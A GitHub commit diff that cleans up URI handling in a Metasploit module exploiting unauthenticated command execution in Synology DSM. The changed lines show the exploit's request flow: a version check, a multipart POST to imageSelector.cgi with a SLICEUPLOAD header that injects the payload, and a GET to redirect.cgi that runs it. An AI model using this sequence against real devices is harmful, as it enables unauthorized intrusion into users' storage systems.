Skip to content

Commit 163a54f

Browse files
committed
Do send_request_cgi final clean up
1 parent 13a4c62 commit 163a54f

File tree

1 file changed

+5
-4
lines changed

1 file changed

+5
-4
lines changed

modules/exploits/linux/http/synology_dsm_sliceupload_exec_noauth.rb

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -68,8 +68,9 @@ def check
6868
print_status("#{peer} - Trying to detect installed version")
6969

7070
res = send_request_cgi({
71-
'method' => 'GET',
72-
'uri' => normalize_uri('/webman/info.cgi?host=')
71+
'method' => 'GET',
72+
'uri' => normalize_uri('webman', 'info.cgi'),
73+
'vars_get' => { 'host' => ''}
7374
})
7475

7576
if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN
@@ -127,7 +128,7 @@ def exploit
127128
print_status("#{peer} - Injecting the payload...")
128129
res = send_request_cgi({
129130
'method' => 'POST',
130-
'uri' => '/webman/imageSelector.cgi',
131+
'uri' => normalize_uri('webman', 'imageSelector.cgi'),
131132
'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}",
132133
'headers' => {
133134
'X-TYPE-NAME' => 'SLICEUPLOAD',
@@ -144,7 +145,7 @@ def exploit
144145
print_status("#{peer} - Executing the payload...")
145146
res = send_request_cgi({
146147
'method' => 'GET',
147-
'uri' => '/redirect.cgi'
148+
'uri' => normalize_uri('redirect.cgi'),
148149
})
149150

150151
# Read command output if cmd/unix/generic payload was used

0 commit comments

Comments
 (0)